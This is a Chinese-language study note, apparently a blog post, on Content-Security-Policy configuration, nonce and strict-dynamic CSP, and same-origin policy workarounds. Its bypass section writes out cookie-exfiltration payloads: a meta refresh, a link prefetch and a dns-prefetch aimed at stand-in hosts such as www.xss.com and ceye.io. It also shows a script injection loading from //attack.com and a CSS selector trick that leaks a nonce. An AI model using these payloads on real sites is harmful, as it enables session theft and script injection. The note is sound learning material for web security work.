CSP
CSP简介
原理
- CSP(Content-Security-Policy)内容安全策略,用来防御XSS攻击的技术。CSP是一种白名单策略,通过CSP指定可信的内容来源,让WEB处于一个安全的运行环境中。
- CSP的实质就是白名单策略,预先设定好哪些资源能被加载执行而哪些不能。除了普通的CSP还有个
CSPRO
(Content-Security-Policy-Report-Only),区别是后者不限制执行,而是记录违反限制的行为,需要与report-uri
一起使用。
启用
- 通过 HTTP 头信息的Content-Security-Policy的字段
- 通过网页的
<meta
>标签<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
- 常规配置:该策略允许加载同源的图片、脚本、AJAX和CSS资源,并阻止加载其他任何资源,对于大多数网站是一个不错的配置。
default-src ‘none’; script-src ‘self’; connect-src ‘self’; img-src ‘self’; style-src ‘self’;
- 一个CSP头由多组CSP策略组成,中间由分号分隔,如下所示:
1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:
指令 说明 default-src 定义资源默认加载策略 connect-src 定义 Ajax、WebSocket 等加载策略 font-src 定义 Font 加载策略 frame-src 定义 Frame 加载策略 img-src 定义图片加载策略 media-src 定义 <audio>、<video> 等引用资源加载策略 object-src 定义 <applet>、<embed>、<object> 等引用资源加载策略 script-src 定义 JS 加载策略 style-src 定义 CSS 加载策略 sandbox 值为 allow-forms,对资源启用 sandbox report-uri 值为 /report-uri,提交日志 内容源有如下选项:
源 说明 * 通配符,允许任何URL,除了data: blob: filesystem: schemes *.foo.com 允许加载foo.com子域的资源 abc.foo.com 只能加载这个域名下的资源 https://a.com 只能用HTTPS加载域名下的资源 https: 通过HTTPS可以加载任意域名下的资源 ‘none’ 代表空集,即不匹配任何URL,两侧单引号是必须的 ‘self’ 代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的 ‘unsafe-inline’ 允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的 ‘unsafe-eval’ 允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的 data: 允许data: URI作为内容来源 mediastream: 允许mediastream: URI作为内容来源 例子1
1
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com
例子2
1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
图片源可以为同源内容或者是data:引用的资源,媒体源必须使用mediastream:引用,除此以外的都执行默认内容源判断,必须为同源内容。更加详细的可以看
1
https://lorexxar.cn/2016/08/08/ccsp/
一个在线的CSP头部生成器可以帮助我们深入理解
1
https://www.cspisawesome.com
一个CSP安全检测网站,能够提供一些参考
1
https://csp-evaluator.withgoogle.com/
CSP的进化–nonce script CSP和strict-dynamic
这是Google团队2016年在CSP is Dead, Long live CSP中正式提出的CSP种类,为了解决CSP爆出的各种各样的问题。
nonce script CSP
动态生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行
1 |
|
这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的script。
strict-dynamic
1 | Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' |
strict-dynamic
意味着可信js,生成的js代码是可信的。
这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。
CSP Bypass的方法总结
CSP对前端攻击的防御主要有两个:
- 限制js的执行。
- 限制对不可信域的请求。
接下来的多种Bypass手段也是围绕这两种的
url跳转
利用url跳转,回避严格的CSP。
在default-src ‘none’的情况下,可以使用meta标签实现跳转
1 | <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" > |
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过
1 | <script> |
<a>标签配合站内的某些可控JS点击操作来跳转
1 | <script> |
利用网站本身的跳转接口
1 | http://foo.com/jmp.php?url=attack.com |
<link>标签预加载
CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie或者其他数据
1 | <link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]"> |
在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
1 | <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io"> |
link标签除了这两种rel,还有preconnect、prerender、subresource、preload等
利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样
1 | Content-Security-Policy: default-src 'none';script-src 'nonce-abc' |
那么当脚本插入点为如下的情况时
1 | <p>插入点</p> |
可以插入
1 | <script src=//attack.com a=" |
这里利用浏览器的容错机制会拼成一个新的script标签,其中的src可以自由设定
1 | <p><script src=//attack.com a="</p> |
利用DOM XSS
如果JS存在操作location.hash导致的XSS,那么这样的攻击请求不会经过后台,那么nonce后的随机值就不会刷新。可以见下面lorexxar师傅的博文
1 | https://lorexxar.cn/2017/05/16/nonce-bypass-script/ |
如果有DOM操作可以插入HTML并且可以控制插入的HTML内容,那么也可以绕过CSP
利用CSS 静态xss 获取nonce值
利用CSS选择器来逐字节获取信息,^=
从头部判断
1 | *[attribute^="a"]{background:url("record?match=a")} |
比如确定第一位为c,那么就会继续下面的步骤
1 | *[attribute^="ca"]{background:url("record?match=ca")} |
由于是CSS的变化,没有引起服务器重新请求,所以nonce的值不会改变,偷取值后即可执行我们的script
利用跨域传输数据
利用一些跨域传输的方法来引入JS,导致执行
具体的可以看看呆子不开口的乌云大会PPT
1 | http://pan.baidu.com/s/1pLCfCWr |
和0CTF2018预选赛中的h4xors.club2
1 | https://lorexxar.cn/2018/04/10/0ctf2018-club2/ |
利用文件上传执行JS
1 | Content-Security-Policy: default-src 'self'; script-src 'self' |
针对只能加载同域下script的CSP策略,如果有上传点可以控制,那么可以在其中夹杂js代码,然后引用该文件完成执行。
可以参考前几天梅子酒师傅写的上传Wave文件绕过CSP,执行JS
1 | https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw |
base标签
利用base标签改变资源加载的域,从而引入恶意的js,造成js执行。
同源策略(SOP)
基础
SOP(Same-Origin-Policy)同源策略是浏览器的一个安全限制,它阻止了不同域之间进行的数据交互,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页同源,所谓同源,是指:协议(protocol)、端口(port)、和主机(host)都相同,如果非同源,Cookie,LocalStorage,IndexDB 无法读取:
LocalStorage
LocalStorage 是 HTML5 本地存储 Web Storage 特性的 API 之一,用于将大量数据(最大 5 M)保存在浏览器中,保存后数据永远存在不会失效过期,除非用 Js 手动清除,它不参与网络传输,一般用于性能优化,可以保存图片、Js、CSS、HTML 模板、大量数据,IndexDB 也是用于储存的东西。
DOM 无法获取
DOM(Document Object Model)译为文档对象模型,是 HTML 和 XML 文档的编程接口,HTML DOM 定义了访问和操作 HTML 文档的标准方法,DOM 以树结构表达 HTML 文档。
AJAX 请求不能发送
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。 AJAX 不是新的编程语言,而是一种使用现有标准的新方法。 AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容,AJAX 请求只能发给同源的网址。
规避同源策略
主要有以下三种方法规避同源策略的限制:JSONP
,WebSocket
,CORS
JSONP
- 深入理解JSONP漏洞
- JSONP是JSON with padding(填充式JSON或参数式JSON)的简写。是为了解决跨域资源请求而产生的一种解决方案,动态创建
<script>
标签,然后利用<script>
的src
标签不受同源策略约束来跨域获取数据。
CORS
CORS是跨域资源共享(Cross-Origin Resource Sharing)
的缩写,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制,它是W3C标准,是跨源 AJAX 请求的根本解决方法.
- CORS请求大致和ajax请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果orgin是许可范围之内的话,服务器返回的响应会多出
Access-Control-Allow-*
的字段。
WebSocket
WebSocket是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前缀,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,为什么不实行同源策略?
- 原因是WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名,正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信
CORS与JSONP的比较
CORS与JSONP的使用目的相同,但是比JSONP更强大,JSONP只支持 GET 请求,CORS支持所有类型的 HTTP 请求,JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据